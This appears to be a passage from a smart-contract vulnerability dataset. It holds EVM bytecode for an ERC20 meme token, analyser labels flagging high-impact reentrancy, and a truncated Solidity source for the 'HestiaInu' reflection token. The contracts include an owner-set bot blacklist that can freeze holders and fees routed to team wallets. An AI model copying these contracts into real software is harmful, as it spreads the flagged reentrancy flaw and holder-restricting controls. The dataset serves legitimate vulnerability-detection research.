0x6080604052600436106101185760003560e01c8063715018a6116100a0578063b515566a11610064578063b515566a14610398578063c3c8cd80146103c1578063c9567bf9146103d8578063cfe81ba0146103ef578063dd62ed3e146104185761011f565b8063715018a6146102c5578063842b7c08146102dc5780638da5cb5b1461030557806395d89b4114610330578063a9059cbb1461035b5761011f565b8063273123b7116100e7578063273123b7146101f4578063313ce5671461021d5780635932ead1146102485780636fc3eaec1461027157806370a08231146102885761011f565b806306fdde0314610124578063095ea7b31461014f57806318160ddd1461018c57806323b872dd146101b75761011f565b3661011f57005b600080fd5b34801561013057600080fd5b50610139610455565b6040516101469190612bb9565b60405180910390f35b34801561015b57600080fd5b50610176600480360381019061017191906126ff565b610492565b6040516101839190612b9e565b60405180910390f35b34801561019857600080fd5b506101a16104b0565b6040516101ae9190612d3b565b60405180910390f35b3480156101c357600080fd5b506101de60048036038101906101d991906126b0565b6104c4565b6040516101eb9190612b9e565b60405180910390f35b34801561020057600080fd5b5061021b60048036038101906102169190612622565b61059d565b005b34801561022957600080fd5b5061023261068d565b60405161023f9190612db0565b60405180910390f35b34801561025457600080fd5b5061026f600480360381019061026a919061277c565b610696565b005b34801561027d57600080fd5b50610286610748565b005b34801561029457600080fd5b506102af60048036038101906102aa9190612622565b6107ba565b6040516102bc9190612d3b565b60405180910390f35b3480156102d157600080fd5b506102da61080b565b005b3480156102e857600080fd5b5061030360048036038101906102fe91906127ce565b61095e565b005b34801561031157600080fd5b5061031a6109ff565b6040516103279190612ad0565b60405180910390f35b34801561033c57600080fd5b50610345610a28565b6040516103529190612bb9565b60405180910390f35b34801561036757600080fd5b50610382600480360381019061037d91906126ff565b610a65565b60405161038f9190612b9e565b60405180910390f35b3480156103a457600080fd5b506103bf60048036038101906103ba919061273b565b610a83565b005b3480156103cd57600080fd5b506103d6610bd3565b005b3480156103e457600080fd5b506103ed610c4d565b005b3480156103fb57600080fd5b50610416600480360381019061041191906127ce565b6111af565b005b34801561042457600080fd5b5061043f600480360381019061043a9190612674565b611250565b60405161044c9190612d3b565b60405180910390f35b60606040518060400160405280600d81526020017f53706f6e6765626f6220496e7500000000000000000000000000000000000000815250905090565b60006104a661049f6112d7565b84846112df565b6001905092915050565b60006b033b2e3c9fd0803ce8000000905090565b60006104d18484846114aa565b610592846104dd6112d7565b61058d8560405180606001604052806028815260200161344b60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006105436112d7565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119889092919063ffffffff16565b6112df565b600190509392505050565b6105a56112d7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610632576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161062990612c9b565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b61069e6112d7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461072b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161072290612c9b565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107896112d7565b73ffffffffffffffffffffffffffffffffffffffff16146107a957600080fd5b60004790506107b7816119ec565b50565b6000610804600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ae7565b9050919050565b6108136112d7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146108a0576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161089790612c9b565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661099f6112d7565b73ffffffffffffffffffffffffffffffffffffffff16146109f5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109ec90612bfb565b60405180910390fd5b80600c8190555050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600781526020017f53424f42494e5500000000000000000000000000000000000000000000000000815250905090565b6000610a79610a726112d7565b84846114aa565b6001905092915050565b610a8b6112d7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b18576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b0f90612c9b565b60405180910390fd5b60005b8151811015610bcf57600160066000848481518110610b63577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610bc790613051565b915050610b1b565b5050565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610c146112d7565b73ffffffffffffffffffffffffffffffffffffffff1614610c3457600080fd5b6000610c3f306107ba565b9050610c4a81611b55565b50565b610c556112d7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ce2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cd990612c9b565b60405180910390fd5b600f60149054906101000a900460ff1615610d32576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d2990612d1b565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610dc530600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166b033b2e3c9fd0803ce80000006112df565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610e0b57600080fd5b505afa158015610e1f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e43919061264b565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610ea557600080fd5b505afa158015610eb9573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610edd919061264b565b6040518363ffffffff1660e01b8152600401610efa929190612aeb565b602060405180830381600087803b158015610f1457600080fd5b505af1158015610f28573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f4c919061264b565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610fd5306107ba565b600080610fe06109ff565b426040518863ffffffff1660e01b815260040161100296959493929190612b3d565b6060604051808303818588803b15801561101b57600080fd5b505af115801561102f573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061105491906127f7565b5050506001600f60166101000a81548160ff0219169083151502179055506001600f60176101000a81548160ff0219169083151502179055506a295be96e640669720000006010819055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401611159929190612b14565b602060405180830381600087803b15801561117357600080fd5b505af1158015611187573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111ab91906127a5565b5050565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166111f06112d7565b73ffffffffffffffffffffffffffffffffffffffff1614611246576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161123d90612bfb565b60405180910390fd5b80600d8190555050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561134f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161134690612cfb565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156113bf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113b690612c3b565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161149d9190612d3b565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561151a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161151190612cdb565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561158a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161158190612bdb565b60405180910390fd5b600081116115cd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115c490612cbb565b60405180910390fd5b6115d56109ff565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561164357506116136109ff565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561197857600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156116ec5750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6116f557600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156117a05750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156117f65750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b801561180e5750600f60179054906101000a900460ff165b156118be5760105481111561182257600080fd5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541061186d57600080fd5b601e4261187a9190612e71565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b60006118c9306107ba565b9050600f60159054906101000a900460ff161580156119365750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b801561194e5750600f60169054906101000a900460ff165b156119765761195c81611b55565b6000479050600081111561197457611973476119ec565b5b505b505b611983838383611e4f565b505050565b60008383111582906119d0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119c79190612bb9565b60405180910390fd5b50600083856119df9190612f52565b9050809150509392505050565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611a3c600284611e5f90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611a67573d6000803e3d6000fd5b50600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611ab8600284611e5f90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611ae3573d6000803e3d6000fd5b5050565b6000600a54821115611b2e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b2590612c1b565b60405180910390fd5b6000611b38611ea9565b9050611b4d8184611e5f90919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611bb3577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611be15781602001602082028036833780820191505090505b5090503081600081518110611c1f577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611cc157600080fd5b505afa158015611cd5573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611cf9919061264b565b81600181518110611d33577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611d9a30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112df565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611dfe959493929190612d56565b600060405180830381600087803b158015611e1857600080fd5b505af1158015611e2c573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b611e5a838383611ed4565b505050565b6000611ea183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061209f565b905092915050565b6000806000611eb6612102565b91509150611ecd8183611e5f90919063ffffffff16565b9250505090565b600080600080600080611ee68761216d565b955095509550955095509550611f4486600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546121d590919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611fd985600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461221f90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506120258161227d565b61202f848361233a565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161208c9190612d3b565b60405180910390a3505050505050505050565b600080831182906120e6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120dd9190612bb9565b60405180910390fd5b50600083856120f59190612ec7565b9050809150509392505050565b6000806000600a54905060006b033b2e3c9fd0803ce8000000905061213e6b033b2e3c9fd0803ce8000000600a54611e5f90919063ffffffff16565b82101561216057600a546b033b2e3c9fd0803ce8000000935093505050612169565b81819350935050505b9091565b600080600080600080600080600061218a8a600c54600d54612374565b925092509250600061219a611ea9565b905060008060006121ad8e87878761240a565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061221783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611988565b905092915050565b600080828461222e9190612e71565b905083811015612273576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161226a90612c5b565b60405180910390fd5b8091505092915050565b6000612287611ea9565b9050600061229e828461249390919063ffffffff16565b90506122f281600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461221f90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b61234f82600a546121d590919063ffffffff16565b600a8190555061236a81600b5461221f90919063ffffffff16565b600b819055505050565b6000806000806123a06064612392888a61249390919063ffffffff16565b611e5f90919063ffffffff16565b905060006123ca60646123bc888b61249390919063ffffffff16565b611e5f90919063ffffffff16565b905060006123f3826123e5858c6121d590919063ffffffff16565b6121d590919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612423858961249390919063ffffffff16565b9050600061243a868961249390919063ffffffff16565b90506000612451878961249390919063ffffffff16565b9050600061247a8261246c85876121d590919063ffffffff16565b6121d590919063ffffffff16565b9050838184965096509650505050509450945094915050565b6000808314156124a65760009050612508565b600082846124b49190612ef8565b90508284826124c39190612ec7565b14612503576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124fa90612c7b565b60405180910390fd5b809150505b92915050565b600061252161251c84612df0565b612dcb565b9050808382526020820190508285602086028201111561254057600080fd5b60005b858110156125705781612556888261257a565b845260208401935060208301925050600181019050612543565b5050509392505050565b60008135905061258981613405565b92915050565b60008151905061259e81613405565b92915050565b600082601f8301126125b557600080fd5b81356125c584826020860161250e565b91505092915050565b6000813590506125dd8161341c565b92915050565b6000815190506125f28161341c565b92915050565b60008135905061260781613433565b92915050565b60008151905061261c81613433565b92915050565b60006020828403121561263457600080fd5b60006126428482850161257a565b91505092915050565b60006020828403121561265d57600080fd5b600061266b8482850161258f565b91505092915050565b6000806040838503121561268757600080fd5b60006126958582860161257a565b92505060206126a68582860161257a565b9150509250929050565b6000806000606084860312156126c557600080fd5b60006126d38682870161257a565b93505060206126e48682870161257a565b92505060406126f5868287016125f8565b9150509250925092565b6000806040838503121561271257600080fd5b60006127208582860161257a565b9250506020612731858286016125f8565b9150509250929050565b60006020828403121561274d57600080fd5b600082013567ffffffffffffffff81111561276757600080fd5b612773848285016125a4565b91505092915050565b60006020828403121561278e57600080fd5b600061279c848285016125ce565b91505092915050565b6000602082840312156127b757600080fd5b60006127c5848285016125e3565b91505092915050565b6000602082840312156127e057600080fd5b60006127ee848285016125f8565b91505092915050565b60008060006060848603121561280c57600080fd5b600061281a8682870161260d565b935050602061282b8682870161260d565b925050604061283c8682870161260d565b9150509250925092565b6000612852838361285e565b60208301905092915050565b61286781612f86565b82525050565b61287681612f86565b82525050565b600061288782612e2c565b6128918185612e4f565b935061289c83612e1c565b8060005b838110156128cd5781516128b48882612846565b97506128bf83612e42565b9250506001810190506128a0565b5085935050505092915050565b6128e381612f98565b82525050565b6128f281612fdb565b82525050565b600061290382612e37565b61290d8185612e60565b935061291d818560208601612fed565b61292681613127565b840191505092915050565b600061293e602383612e60565b915061294982613138565b604082019050919050565b6000612961600c83612e60565b915061296c82613187565b602082019050919050565b6000612984602a83612e60565b915061298f826131b0565b604082019050919050565b60006129a7602283612e60565b91506129b2826131ff565b604082019050919050565b60006129ca601b83612e60565b91506129d58261324e565b602082019050919050565b60006129ed602183612e60565b91506129f882613277565b604082019050919050565b6000612a10602083612e60565b9150612a1b826132c6565b602082019050919050565b6000612a33602983612e60565b9150612a3e826132ef565b604082019050919050565b6000612a56602583612e60565b9150612a618261333e565b604082019050919050565b6000612a79602483612e60565b9150612a848261338d565b604082019050919050565b6000612a9c601783612e60565b9150612aa7826133dc565b602082019050919050565b612abb81612fc4565b82525050565b612aca81612fce565b82525050565b6000602082019050612ae5600083018461286d565b92915050565b6000604082019050612b00600083018561286d565b612b0d602083018461286d565b9392505050565b6000604082019050612b29600083018561286d565b612b366020830184612ab2565b9392505050565b600060c082019050612b52600083018961286d565b612b5f6020830188612ab2565b612b6c60408301876128e9565b612b7960608301866128e9565b612b86608083018561286d565b612b9360a0830184612ab2565b979650505050505050565b6000602082019050612bb360008301846128da565b92915050565b60006020820190508181036000830152612bd381846128f8565b905092915050565b60006020820190508181036000830152612bf481612931565b9050919050565b60006020820190508181036000830152612c1481612954565b9050919050565b60006020820190508181036000830152612c3481612977565b9050919050565b60006020820190508181036000830152612c548161299a565b9050919050565b60006020820190508181036000830152612c74816129bd565b9050919050565b60006020820190508181036000830152612c94816129e0565b9050919050565b60006020820190508181036000830152612cb481612a03565b9050919050565b60006020820190508181036000830152612cd481612a26565b9050919050565b60006020820190508181036000830152612cf481612a49565b9050919050565b60006020820190508181036000830152612d1481612a6c565b9050919050565b60006020820190508181036000830152612d3481612a8f565b9050919050565b6000602082019050612d506000830184612ab2565b92915050565b600060a082019050612d6b6000830188612ab2565b612d7860208301876128e9565b8181036040830152612d8a818661287c565b9050612d99606083018561286d565b612da66080830184612ab2565b9695505050505050565b6000602082019050612dc56000830184612ac1565b92915050565b6000612dd5612de6565b9050612de18282613020565b919050565b6000604051905090565b600067ffffffffffffffff821115612e0b57612e0a6130f8565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000612e7c82612fc4565b9150612e8783612fc4565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115612ebc57612ebb61309a565b5b828201905092915050565b6000612ed282612fc4565b9150612edd83612fc4565b925082612eed57612eec6130c9565b5b828204905092915050565b6000612f0382612fc4565b9150612f0e83612fc4565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615612f4757612f4661309a565b5b828202905092915050565b6000612f5d82612fc4565b9150612f6883612fc4565b925082821015612f7b57612f7a61309a565b5b828203905092915050565b6000612f9182612fa4565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b6000612fe682612fc4565b9050919050565b60005b8381101561300b578082015181840152602081019050612ff0565b8381111561301a576000848401525b50505050565b61302982613127565b810181811067ffffffffffffffff82111715613048576130476130f8565b5b80604052505050565b600061305c82612fc4565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561308f5761308e61309a565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f556e617574686f72697a65640000000000000000000000000000000000000000600082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b61340e81612f86565b811461341957600080fd5b50565b61342581612f98565b811461343057600080fd5b50565b61343c81612fc4565b811461344757600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220c76c13da0aac81e99af1735f2b1e659d2bea26e33b9f8adab57bc5202601e14e64736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
10,055
0x308452a78cb3946be15550332933cf49a3fb21ae
/** *Submitted for verification at Etherscan.io on 2021-10-16 */ /* Hestia Inu Total 1 000 000 000 Burned 25% 4% to LP and Buyback 2% Marketing 2% Reflections https://t.me/HestiaInu */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.7; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract HestiaInu is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "HestiaInu"; string private constant _symbol = "HestiaInu"; uint8 private constant _decimals = 9; //RFI mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _taxFee = 6; uint256 private _redisfee = 2; //Bots mapping(address => bool) private bots; mapping(address => uint256) private cooldown; address payable private _teamAddress; address payable private _marketingFunds; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor(address payable addr1, address payable addr2) { _teamAddress = addr1; _marketingFunds = addr2; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_teamAddress] = true; _isExcludedFromFee[_marketingFunds] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function openTrading() external onlyOwner() { require(!tradingOpen, "trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance} (address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp ); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 50000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve( address(uniswapV2Router), type(uint256).max ); } function maxtx(uint256 maxTxpc) external { require(_msgSender() == _teamAddress); require(maxTxpc > 0); _maxTxAmount = _tTotal.mul(maxTxpc).div(10**4); emit MaxTxAmountUpdated(_maxTxAmount); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { 